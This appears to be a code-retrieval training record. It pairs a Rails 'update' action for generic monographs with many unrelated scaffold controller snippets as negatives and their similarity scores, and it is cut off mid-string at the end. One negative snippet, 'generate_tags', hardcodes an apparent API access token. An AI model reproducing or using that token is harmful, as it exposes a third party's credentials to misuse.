"def create\n @motivational_image = MotivationalImage.new(params[:motivational_image])\n\n respond_to do |format|\n if @motivational_image.save\n format.html { redirect_to @motivational_image, notice: 'Motivational image was successfully created.' }\n format.json { render json: @motivational_image, status: :created, location: @motivational_image }\n else\n format.html { render action: \"new\" }\n format.json { render json: @motivational_image.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @indication_generic_map = IndicationGenericMap.new(indication_generic_map_params)\n\n respond_to do |format|\n if @indication_generic_map.save\n format.html { redirect_to @indication_generic_map, notice: 'Indication generic map was successfully created.' }\n format.json { render :show, status: :created, location: @indication_generic_map }\n else\n format.html { render :new }\n format.json { render json: @indication_generic_map.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @medio = Medio.new(params[:medio])\n\n respond_to do |format|\n if @medio.save\n format.html { redirect_to @medio, :notice => 'Medio was successfully created.' }\n format.json { render :json => @medio, :status => :created, :location => @medio }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @medio.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @testimonio = Testimonio.new(testimonio_params)\n\n respond_to do |format|\n if @testimonio.save\n format.html { redirect_to @testimonio, notice: 'Testimonio was successfully created.' }\n format.json { render :show, status: :created, location: @testimonio }\n else\n format.html { render :new }\n format.json { render json: @testimonio.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @musico = Musico.new(musico_params)\n\n respond_to do |format|\n if @musico.save\n format.html { redirect_to @musico, notice: 'Musico was successfully created.' }\n format.json { render :show, status: :created, location: @musico }\n else\n format.html { render :new }\n format.json { render json: @musico.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @wager = Wager.new(params[:wager])\n\n if @wager.save\n render json: @wager, status: :created, location: @wager\n else\n render json: @wager.errors, status: :unprocessable_entity\n end\n end",
"def create\n @physic = Physic.new(params[:physic])\n\n respond_to do |format|\n if @physic.save\n format.html { redirect_to @physic, notice: 'Physic was successfully created.' }\n format.json { render json: @physic, status: :created, location: @physic }\n else\n format.html { render action: \"new\" }\n format.json { render json: @physic.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @moonwalk = Moonwalk.new(moonwalk_params)\n\n respond_to do |format|\n if @moonwalk.save\n format.html { redirect_to @moonwalk, notice: 'Moonwalk was successfully created.' }\n format.json { render action: 'show', status: :created, location: @moonwalk }\n else\n format.html { render action: 'new' }\n format.json { render json: @moonwalk.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @motoristum = Motoristum.new(motoristum_params)\n\n respond_to do |format|\n if @motoristum.save\n format.html { redirect_to @motoristum, notice: 'Motoristum was successfully created.' }\n format.json { render :show, status: :created, location: @motoristum }\n else\n format.html { render :new }\n format.json { render json: @motoristum.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @measurement = Measurement.new(correct_parameters_for_mongo)\n\n respond_to do |format|\n if @measurement.save\n format.html { redirect_to @measurement, notice: \"Measurement was successfully created.\" }\n format.json { render :show, status: :created, location: @measurement }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @measurement.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @time_series = TimeSeries.new(params[:time_series])\n\n # if there are category_ids, create mapper objects with them\n params[:time_series][:category_ids].delete('')\n # - remove '' from list\n params[:time_series][:category_ids].each do |category_id|\n @time_series.category_mappers.build(category_id: category_id)\n end\n\n # if there are country_ids, create mapper objects with them\n params[:time_series][:country_ids].delete('')\n # - remove '' from list\n params[:time_series][:country_ids].each do |country_id|\n @time_series.country_mappers.build(country_id: country_id)\n end\n\n respond_to do |format|\n if @time_series.save\n format.html { redirect_to time_series_questions_path(@owner, @time_series), flash: {success: t('app.msgs.success_created', :obj => t('mongoid.models.time_series.one'))} }\n format.json { render json: @time_series, status: :created, location: @time_series }\n else\n @datasets = Dataset.by_owner(@owner.id, current_user.id).only_id_title_languages.sorted\n\n # add the required assets\n @js.push(\"time_series.js\", 'cocoon.js')\n\n add_time_series_nav_options({show_title: false, set_url: false})\n\n set_tabbed_translation_form_settings\n\n format.html { render action: \"new\" }\n format.json { render json: @time_series.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @gommi = Gommi.new(gommi_params)\n\n respond_to do |format|\n if @gommi.save\n format.html { redirect_to gommis_complete_path, notice: 'Gommi was successfully created.' }\n format.json { render :show, status: :created, location: @gommi }\n else\n format.html { render :new }\n format.json { render json: @gommi.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @tinymap = Tinymap.new(params[:tinymap])\n\n respond_to do |format|\n if @tinymap.save\n format.html { redirect_to @tinymap, notice: 'Tinymap was successfully created.' }\n format.json { render json: @tinymap, status: :created, location: @tinymap }\n else\n format.html { render action: \"new\" }\n format.json { render json: @tinymap.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @mini_game = MiniGame.new(mini_game_params)\n if @mini_game.save\n render json: @mini_game, status: :ok\n else\n render json: @mini_game.errors, status: :unprocessable_entity\n end\n end",
"def create\n s = Spooge.new()\n create_status = s.save\n n = generate_random_name\n s.name = n\n s.email = \"#{n}@gmail.com\"\n s.touch_date = DateTime.now\n s.status = STATUS[rand(STATUS.length)]\n\n resp = {:create_status => create_status, :record => s}\n render :json => resp\n end",
"def create\n @meteorological_data = MeteorologicalData.new(params[:meteorological_data])\n\n respond_to do |format|\n if @meteorological_data.save\n format.html { redirect_to(@meteorological_data, :notice => 'MeteorologicalData was successfully created.') }\n format.xml { render :xml => @meteorological_data, :status => :created, :location => @meteorological_data }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @meteorological_data.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def new\n @miccropost = Miccropost.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @miccropost }\n end\n end",
"def destroy\n @dis_generic_monograph.destroy\n respond_to do |format|\n format.html { redirect_to dis_generic_monographs_url, notice: 'Dis generic monograph was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def create\n @mision = Mision.new(params[:mision])\n\n respond_to do |format|\n if @mision.save\n format.html { redirect_to @mision, notice: 'Mision was successfully created.' }\n format.json { render json: @mision, status: :created, location: @mision }\n else\n format.html { render action: \"new\" }\n format.json { render json: @mision.errors, status: :unprocessable_entity }\n end\n end\n end",
"def get_all_monsters\n render :json => {:success => \"true\",\n :data => {\n :monsters => @user.monsters.blank? ? Array.new : @user.monsters.map { |mon| {:id => mon.id, :name => mon.name, :team_count => mon.teams.size} }\n }}\n end",
"def create\n @microopost = Microopost.new(params[:microopost])\n\n respond_to do |format|\n if @microopost.save\n format.html { redirect_to @microopost, :notice => 'Microopost was successfully created.' }\n format.json { render :json => @microopost, :status => :created, :location => @microopost }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @microopost.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @gastronomium = Gastronomium.new(gastronomium_params)\n\n respond_to do |format|\n if @gastronomium.save\n format.html { redirect_to @gastronomium, notice: 'Gastronomium was successfully created.' }\n format.json { render :show, status: :created, location: @gastronomium }\n else\n format.html { render :new }\n format.json { render json: @gastronomium.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @micgropost = Micgropost.new(params[:micgropost])\n\n respond_to do |format|\n if @micgropost.save\n format.html { redirect_to(@micgropost, :notice => 'Micgropost was successfully created.') }\n format.xml { render :xml => @micgropost, :status => :created, :location => @micgropost }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @micgropost.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @mwod_post = MwodPost.new(params[:mwod_post])\n\n respond_to do |format|\n if @mwod_post.save\n format.html { redirect_to @mwod_post, notice: 'Mwod post was successfully created.' }\n format.json { render json: @mwod_post, status: :created, location: @mwod_post }\n else\n format.html { render action: \"new\" }\n format.json { render json: @mwod_post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @physician = Physician.new(physician_params)\n\n if @physician.save\n render json: @physician, status: :created\n else\n render json: @physician.errors, status: :unprocessable_entity\n end\n end",
"def create\n @mot_m = MotM.new(mot_m_params)\n\n respond_to do |format|\n if @mot_m.save\n format.html { redirect_to matches_path, notice: 'Your vote was successfully cast.' }\n format.json { render action: 'show', status: :created, location: @mot_m }\n else\n format.html { render action: 'new' }\n format.json { render json: @mot_m.errors, status: :unprocessable_entity }\n end\n end\n end",
"def generate_tags\n uri = URI.parse(\"https://api.thomsonreuters.com/permid/calais\")\n http = Net::HTTP.new(uri.host, uri.port)\n http.use_ssl = true\n post_body = []\n post_body << \"<Document><Body>\"\n # stip html\n post_body << ActionView::Base.full_sanitizer.sanitize(params[:desc])\n # no strip\n # post_body << params[:desc]\n post_body << \"</Body></Document>\"\n request = Net::HTTP::Post.new(uri.request_uri)\n request.add_field(\"Content-Type\",\"text/xml\")\n request.add_field(\"outputFormat\",\"application/json\")\n #request.add_field(\"outputFormat\",\"text/n3\") \n request.add_field(\"x-ag-access-token\",\"fY7WUM3GGCXHm9ATOhtzhrvlWX8oPo5X\")\n request.body = post_body.join\n # request[\"Content-Type\"] = \"multipart/form-data, boundary=#{BOUNDARY}\"\n\n render :json => http.request(request).body\n end",
"def create\n @map = Map.new(map_params)\n @file = @map.meta_data\n # binding.pry\n\n @meta_data = []\n @kind = @map.kind\n fips_to_hc_key\n @map.meta_data = @meta_data\n respond_to do |format|\n if @map.save\n format.html { redirect_to @map, notice: 'Map was successfully created.' }\n format.json { render :show, status: :created, location: @map }\n else\n format.html { render :new }\n format.json { render json: @map.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n\trespond_to do |format|\n\t\tif @created\n\t\t\tformat.html { redirect_to detail_micropost_path(@micropost.id) }\n\t\t\tformat.mobile do\n\t\t\t\tjson_response = {status: \"success\", feed: current_user.mobile_feed, pool: current_user.mobile_pool, created: @micropost.to_mobile}\n\t\t\t\n\t\t\t\trender json: json_response\n\t\t\tend\n\t\telse\n\t\t\tformat.html do\n\t\t\t\t@feed_items = current_user.feed\n\t\t\t\t@pool_items = @feed_items\n\t\t\n\t\t\t\trender 'static_pages/home'\n\t\t\tend\n\t\tend\n\tend\n end",
"def create\n @metum = Metum.new(params[:metum])\n\n respond_to do |format|\n if @metum.save\n format.html { redirect_to @metum, notice: 'Metum was successfully created.' }\n format.json { render json: @metum, status: :created, location: @metum }\n else\n format.html { render action: \"new\" }\n format.json { render json: @metum.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @sermon_picture = SermonPicture.new(params[:sermon_picture])\n\n respond_to do |format|\n if @sermon_picture.save\n format.html { redirect_to @sermon_picture, notice: 'Sermon picture was successfully created.' }\n format.json { render json: @sermon_picture, status: :created, location: @sermon_picture }\n else\n format.html { render action: \"new\" }\n format.json { render json: @sermon_picture.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @serial_chronology = SerialChronology.new(serial_chronology_params)\n\n respond_to do |format|\n if @serial_chronology.save\n format.html { redirect_to :back, notice: 'Serial chronology was successfully created.' }\n format.json { render json: @serial_chronology, status: :created, location: @serial_chronology }\n else\n format.html { redirect_to :back, notice: 'Serial chronology was NOT successfully created.' }\n format.json { render json: @serial_chronology.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @mensagem = Mensagem.new(params[:mensagem])\n @mensagem.autor = session[:current_user]\n id_to_post = String.new\n \n case @mensagem.recebedor_type\n when \"Turma\"\n aux = Turma.find(@mensagem.recebedor_id)\n id_to_post = aux.group_id\n end\n \n @mensagem.post_id = api_client.put_wall_post(@mensagem.conteudo, {}, id_to_post)['id']\n\n respond_to do |format|\n if @mensagem.save\n #format.html { redirect_to(@mensagem, :notice => 'Mensagem was successfully created.') }\n format.xml { render :xml => @mensagem, :status => :created, :location => @mensagem }\n format.js {}\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @mensagem.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @midia = Midia.new(midia_params)\n\n respond_to do |format|\n if @midia.save\n format.html { redirect_to @midia, notice: 'Um novo tipo de mídia foi criado com sucesso.' }\n format.json { render json: @midia, status: :created, location: @midia }\n else\n format.html { render action: \"new\" }\n format.json { render json: @midia.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @moussaillon = Moussaillon.new(moussaillon_params)\n\n respond_to do |format|\n if @moussaillon.save\n format.html { redirect_to @moussaillon, notice: 'Moussaillon was successfully created.' }\n format.json { render :show, status: :created, location: @moussaillon }\n else\n format.html { render :new }\n format.json { render json: @moussaillon.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @mosttinymap = Mosttinymap.new(params[:mosttinymap])\n\n respond_to do |format|\n if @mosttinymap.save\n format.html { redirect_to @mosttinymap, notice: 'Mosttinymap was successfully created.' }\n format.json { render json: @mosttinymap, status: :created, location: @mosttinymap }\n else\n format.html { render action: \"new\" }\n format.json { render json: @mosttinymap.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @wall_plate = WallPlate.new(wall_plate_params)\n\n respond_to do |format|\n if @wall_plate.save\n format.html { redirect_to @wall_plate, notice: 'Wall plate was successfully created.' }\n format.json { render action: 'show', status: :created, location: @wall_plate }\n else\n format.html { render action: 'new' }\n format.json { render json: @wall_plate.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @winding = Winding.new(winding_params)\n #Codigo para gerar gcode a 90 graus\n generate_gcode\n\n respond_to do |format|\n if @winding.save\n format.html { redirect_to @winding, notice: 'Winding was successfully created.' }\n format.json { render :show, status: :created, location: @winding }\n else\n format.html { render :new }\n format.json { render json: @winding.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @monster = Monster.new(params[:monster])\n\n respond_to do |format|\n if @monster.save\n format.html { redirect_to @monster, notice: 'Monster was successfully created.' }\n format.json { render json: @monster, status: :created, location: @monster }\n else\n format.html { render action: \"new\" }\n format.json { render json: @monster.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n # @cd = DisGenericMonograph.all\n c = DisGenericMonograph.paginate(:page => params[:page], :per_page => 10)\n e = c.count\n c = c.as_json\n d = [{\"Count\" => e}]\n m = {\"a\" => c ,\"b\" => d}\n # n = c.to_a << @m\n respond_with m\n end",
"def create\n @ministerio = Ministerio.new(params[:ministerio])\n\n respond_to do |format|\n if @ministerio.save\n format.html { redirect_to @ministerio, notice: 'Ministerio was successfully created.' }\n format.json { render json: @ministerio, status: :created, location: @ministerio }\n else\n format.html { render action: \"new\" }\n format.json { render json: @ministerio.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @testmonials = Testmonial.all\n\n render json: @testmonials\n end",
"def index\n @carbon_monoxides = CarbonMonoxide.all\n render json: @carbon_monoxides\n end",
"def create\n @physio = Physio.new(physio_params)\n\n respond_to do |format|\n if @physio.save\n format.html { redirect_to @physio, notice: 'Physio was successfully created.' }\n format.json { render :show, status: :created, location: @physio }\n else\n format.html { render :new }\n format.json { render json: @physio.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @magictown = Magictown.new(magictown_params)\n\n respond_to do |format|\n if @magictown.save\n format.html { redirect_to @magictown, notice: 'Magictown was successfully created.' }\n format.json { render :show, status: :created, location: @magictown }\n else\n format.html { render :new }\n format.json { render json: @magictown.errors, status: :unprocessable_entity }\n end\n end \n end",
"def create\n @poopstation = Poopstation.new(params[:poopstation])\n\n respond_to do |format|\n if @poopstation.save\n format.html { redirect_to @poopstation, notice: 'Poopstation was successfully created.' }\n format.json { render json: @poopstation, status: :created, location: @poopstation }\n format.mobile { redirect_to @poopstation }\n else\n format.html { render action: \"new\" }\n format.mobile { render action: \"new\" }\n format.json { render json: @poopstation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @soil_moisture = SoilMoisture.new(soil_moisture_params)\n\n respond_to do |format|\n if @soil_moisture.save\n format.html { redirect_to @soil_moisture, notice: 'Soil moisture was successfully created.' }\n format.json { render :show, status: :created, location: @soil_moisture }\n else\n format.html { render :new }\n format.json { render json: @soil_moisture.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @moretinymap = Moretinymap.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @moretinymap }\n end\n end",
"def create\n @mi = Mi.new(params[:mi])\n\n respond_to do |format|\n if @mi.save\n format.html { redirect_to @mi, notice: 'Mi was successfully created.' }\n format.json { render json: @mi, status: :created, location: @mi }\n else\n format.html { render action: \"new\" }\n format.json { render json: @mi.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @ontology = Ontology.new(ontology_params)\n\n respond_to do |format|\n if @ontology.save\n format.html { redirect_to @ontology, notice: 'Ontology was successfully created.' }\n format.json { render :show, status: :created, location: @ontology }\n else\n format.html { render :new }\n format.json { render json: @ontology.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @stat = Stat.new(stat_params)\n\n if @stat.save\n render json: @stat, status: :created, location: @stat\n else\n render json: @stat.errors, status: :unprocessable_entity\n end\n end",
"def create\n @mision = Mision.new(mision_params)\n\n respond_to do |format|\n if @mision.save\n format.html { redirect_to @mision, notice: 'La misión se creó correctamente.' }\n format.json { render :show, status: :created, location: @mision }\n else\n format.html { render :new }\n format.json { render json: @mision.errors, status: :unprocessable_entity }\n end\n end\n end",
"def medieval_composers\n response = RestClient.get 'https://api.openopus.org/composer/list/epoch/Medieval.json'\n json = JSON.parse response\n puts json\n\n if !json.nil?\n json[\"composers\"].map do |composer|\n Composer.create(name: \"#{composer[\"complete_name\"]}\", birth: \"#{composer[\"birth\"]}\", death: \"#{composer[\"death\"]}\", portrait: \"#{composer[\"portrait\"]}\", period_id: 1)\n end\n else\n puts \"Error seeding composers\"\n end\nend",
"def create\n @phonetic = Phonetic.new(phonetic_params)\n\n respond_to do |format|\n if @phonetic.save\n format.html { redirect_to @phonetic, notice: 'Phonetic was successfully created.' }\n format.json { render :show, status: :created, location: @phonetic }\n else\n format.html { render :new }\n format.json { render json: @phonetic.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n megam_rest.post_node(to_hash)\n end",
"def create\n @mini_map_road = MiniMapRoad.new(params[:mini_map_road])\n\n respond_to do |format|\n if @mini_map_road.save\n format.html { redirect_to @mini_map_road, notice: 'Mini map road was successfully created.' }\n format.json { render json: @mini_map_road, status: :created, location: @mini_map_road }\n else\n format.html { render action: \"new\" }\n format.json { render json: @mini_map_road.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n\t\t@medical = Medical.new(params[:medical])\n\t\t@medical_specializations = medical_specializations\n\n\t\trespond_to do |format|\n\t\t\tif @medical.save\n\t\t\t\tformat.html { redirect_to medicals_path, notice: CrudTranslations.model_was_created(@medical) }\n\t\t\t\tformat.json { render json: @medical, status: :created, location: @medical }\n\t\t\telse\n\t\t\t\tformat.html { render action: \"new\" }\n\t\t\t\tformat.json { render json: @medical.errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend",
"def destroy\n @generic_monograph.destroy\n respond_to do |format|\n format.html { redirect_to generic_monographs_url, notice: 'Combination dose was successfully destroyed.' }\n format.json { head :no_content }\n end\n end"
] |
[
"0.725019",
"0.6527183",
"0.62853223",
"0.6051462",
"0.5998686",
"0.5963242",
"0.5876825",
"0.5857509",
"0.5605803",
"0.55473804",
"0.55417436",
"0.55203605",
"0.55190766",
"0.5468318",
"0.5466052",
"0.5458591",
"0.54275644",
"0.54235107",
"0.54086214",
"0.5407188",
"0.53940827",
"0.5392104",
"0.5362535",
"0.534992",
"0.5342574",
"0.53361684",
"0.5324503",
"0.53078705",
"0.53059727",
"0.5303616",
"0.52878714",
"0.52856386",
"0.5280812",
"0.52745336",
"0.5271695",
"0.5246204",
"0.5232536",
"0.52321184",
"0.52318275",
"0.52271193",
"0.5204333",
"0.51897955",
"0.5187461",
"0.517746",
"0.51669025",
"0.51641506",
"0.51595616",
"0.5156214",
"0.5155509",
"0.5152738",
"0.5139502",
"0.5137467",
"0.51356393",
"0.5132584",
"0.512937",
"0.51092005",
"0.509569",
"0.50920415",
"0.5091149",
"0.5088473",
"0.5076489",
"0.50691396",
"0.50683904",
"0.50634825",
"0.5061594",
"0.50449836",
"0.5037747",
"0.5036641",
"0.5032953",
"0.501636",
"0.5015829",
"0.50154895",
"0.5011442",
"0.5010843",
"0.5009655",
"0.5008567",
"0.5001384",
"0.49963224",
"0.49943116",
"0.49911246",
"0.49904245",
"0.49858484",
"0.49840608",
"0.49826172",
"0.4982456",
"0.49819556",
"0.49722847",
"0.49707943",
"0.49704158",
"0.4964354",
"0.496331",
"0.49613774",
"0.4960771",
"0.49596778",
"0.49587408",
"0.4958393",
"0.49582493",
"0.49574125",
"0.49502912",
"0.49489835"
] |
0.6588582
|
1
|
PATCH/PUT /generic_monographs/1 PATCH/PUT /generic_monographs/1.json
|
def update
respond_to do |format|
if @generic_monograph.update(generic_monograph_params)
format.html { redirect_to @generic_monograph, notice: 'Combination dose was successfully updated.' }
format.json { render :show, status: :ok, location: @generic_monograph }
else
format.html { render :edit }
format.json { render json: @generic_monograph.errors, status: :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def update\n respond_to do |format|\n if @dis_generic_monograph.update(dis_generic_monograph_params)\n format.html { redirect_to @dis_generic_monograph, notice: 'Dis generic monograph was successfully updated.' }\n format.json { render :show, status: :ok, location: @dis_generic_monograph }\n else\n format.html { render :edit }\n format.json { render json: @dis_generic_monograph.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_generic_monograph\n @generic_monograph = DisGenericMonograph.find(params[:id])\n end",
"def update\n respond_to do |format|\n if @generic.update(generic_params)\n format.html { redirect_to @generic, notice: 'Generic was successfully updated.' }\n format.json { render :show, status: :ok, location: @generic }\n else\n format.html { render :edit }\n format.json { render json: @generic.errors, status: :unprocessable_entity }\n end\n end\n end",
"def generic_monograph_params\n params.require(:generic_monograph).permit(:generic_id, :dose, :contraindication, :precaution, :adverse_effect, :storage, :datasource_id, :status_id)\n end",
"def update\n respond_to do |format|\n if @gommi.update(gommi_params)\n format.html { redirect_to @gommi, notice: 'Gommi was successfully updated.' }\n format.json { render :show, status: :ok, location: @gommi }\n else\n format.html { render :edit }\n format.json { render json: @gommi.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @testmonial = Testmonial.find(params[:id])\n\n if @testmonial.update(testmonial_params)\n head :no_content\n else\n render json: @testmonial.errors, status: :unprocessable_entity\n end\n end",
"def set_dis_generic_monograph\n @dis_generic_monograph = DisGenericMonograph.find(params[:id])\n end",
"def update\n @monit = Monit.find(params[:id])\n\n respond_to do |format|\n if @monit.update_attributes(params[:monit])\n format.html { redirect_to @monit, notice: 'Monit was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @monit.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @monument.update(monument_params)\n format.html { redirect_to @monument, notice: 'Monument was successfully updated.' }\n format.json { render :show, status: :ok, location: @monument }\n else\n format.html { render :edit }\n format.json { render json: @monument.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update!(params)\n res = @client.put(path, nil, params, \"Content-Type\" => \"application/json\")\n @attributes = res.json if res.status == 201\n res\n end",
"def update\n respond_to do |format|\n if @micropot.update(micropot_params)\n format.html { redirect_to @micropot, notice: 'Micropot was successfully updated.' }\n format.json { render :show, status: :ok, location: @micropot }\n else\n format.html { render :edit }\n format.json { render json: @micropot.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @photograph.update(photograph_params)\n format.html { redirect_to @photograph, notice: 'Photograph was successfully updated.' }\n format.json { render :show, status: :ok, location: @photograph }\n else\n format.html { render :edit }\n format.json { render json: @photograph.errors, status: :unprocessable_entity }\n end\n end\n end",
"def patch\n headers = {\"If-Match\" => @version}\n response = @context.request :patch, \"#{@path}/#{@id}\", @data.to_json, headers\n @version += 1\n response\n # 'X-HTTP-Method-Override' => 'PATCH'\n end",
"def update\n respond_to do |format|\n if @platoon.update(platoon_params)\n format.html { redirect_to @platoon, notice: 'Platoon was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @platoon.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @generic.update(generic_params)\n format.html { redirect_to @generic, notice: 'Combination dose was successfully updated.' }\n format.json { render :show, status: :ok, location: @generic }\n else\n format.html { render :edit }\n format.json { render json: @generic.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @plato = Plato.find(params[:id])\n\n if @plato.update(plato_params)\n head :no_content\n else\n render json: @plato.errors, status: :unprocessable_entity\n end\n end",
"def api_patch(path, data = {})\n api_request(:patch, path, :data => data)\n end",
"def patch_softwarerepository_category_mapper_model_with_http_info(moid, softwarerepository_category_mapper_model, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: SoftwarerepositoryApi.patch_softwarerepository_category_mapper_model ...'\n end\n # verify the required parameter 'moid' is set\n if @api_client.config.client_side_validation && moid.nil?\n fail ArgumentError, \"Missing the required parameter 'moid' when calling SoftwarerepositoryApi.patch_softwarerepository_category_mapper_model\"\n end\n # verify the required parameter 'softwarerepository_category_mapper_model' is set\n if @api_client.config.client_side_validation && softwarerepository_category_mapper_model.nil?\n fail ArgumentError, \"Missing the required parameter 'softwarerepository_category_mapper_model' when calling SoftwarerepositoryApi.patch_softwarerepository_category_mapper_model\"\n end\n # resource path\n local_var_path = '/api/v1/softwarerepository/CategoryMapperModels/{Moid}'.sub('{' + 'Moid' + '}', CGI.escape(moid.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n content_type = @api_client.select_header_content_type(['application/json', 'application/json-patch+json'])\n if !content_type.nil?\n header_params['Content-Type'] = content_type\n end\n header_params[:'If-Match'] = opts[:'if_match'] if !opts[:'if_match'].nil?\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(softwarerepository_category_mapper_model)\n\n # return_type\n return_type = opts[:debug_return_type] || 'SoftwarerepositoryCategoryMapperModel'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"SoftwarerepositoryApi.patch_softwarerepository_category_mapper_model\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:PATCH, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: SoftwarerepositoryApi#patch_softwarerepository_category_mapper_model\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def update\n @precious_metal = PreciousMetal.find(params[:id])\n\n respond_to do |format|\n if @precious_metal.update_attributes(params[:precious_metal])\n format.html { redirect_to @precious_metal, :notice => 'Precious metal was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @precious_metal.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @serial_chronology.update(serial_chronology_params)\n format.html { redirect_to :back, notice: 'Serial chronology was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { redirect_to :back, notice: 'Serial chronology was NOT successfully updated.' }\n format.json { render json: @serial_chronology.errors, status: :unprocessable_entity }\n end\n end\n end",
"def patch_kubernetes_virtual_machine_instance_type_with_http_info(moid, kubernetes_virtual_machine_instance_type, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: KubernetesApi.patch_kubernetes_virtual_machine_instance_type ...'\n end\n # verify the required parameter 'moid' is set\n if @api_client.config.client_side_validation && moid.nil?\n fail ArgumentError, \"Missing the required parameter 'moid' when calling KubernetesApi.patch_kubernetes_virtual_machine_instance_type\"\n end\n # verify the required parameter 'kubernetes_virtual_machine_instance_type' is set\n if @api_client.config.client_side_validation && kubernetes_virtual_machine_instance_type.nil?\n fail ArgumentError, \"Missing the required parameter 'kubernetes_virtual_machine_instance_type' when calling KubernetesApi.patch_kubernetes_virtual_machine_instance_type\"\n end\n # resource path\n local_var_path = '/api/v1/kubernetes/VirtualMachineInstanceTypes/{Moid}'.sub('{' + 'Moid' + '}', CGI.escape(moid.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n content_type = @api_client.select_header_content_type(['application/json', 'application/json-patch+json'])\n if !content_type.nil?\n header_params['Content-Type'] = content_type\n end\n header_params[:'If-Match'] = opts[:'if_match'] if !opts[:'if_match'].nil?\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(kubernetes_virtual_machine_instance_type)\n\n # return_type\n return_type = opts[:debug_return_type] || 'KubernetesVirtualMachineInstanceType'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"KubernetesApi.patch_kubernetes_virtual_machine_instance_type\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:PATCH, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: 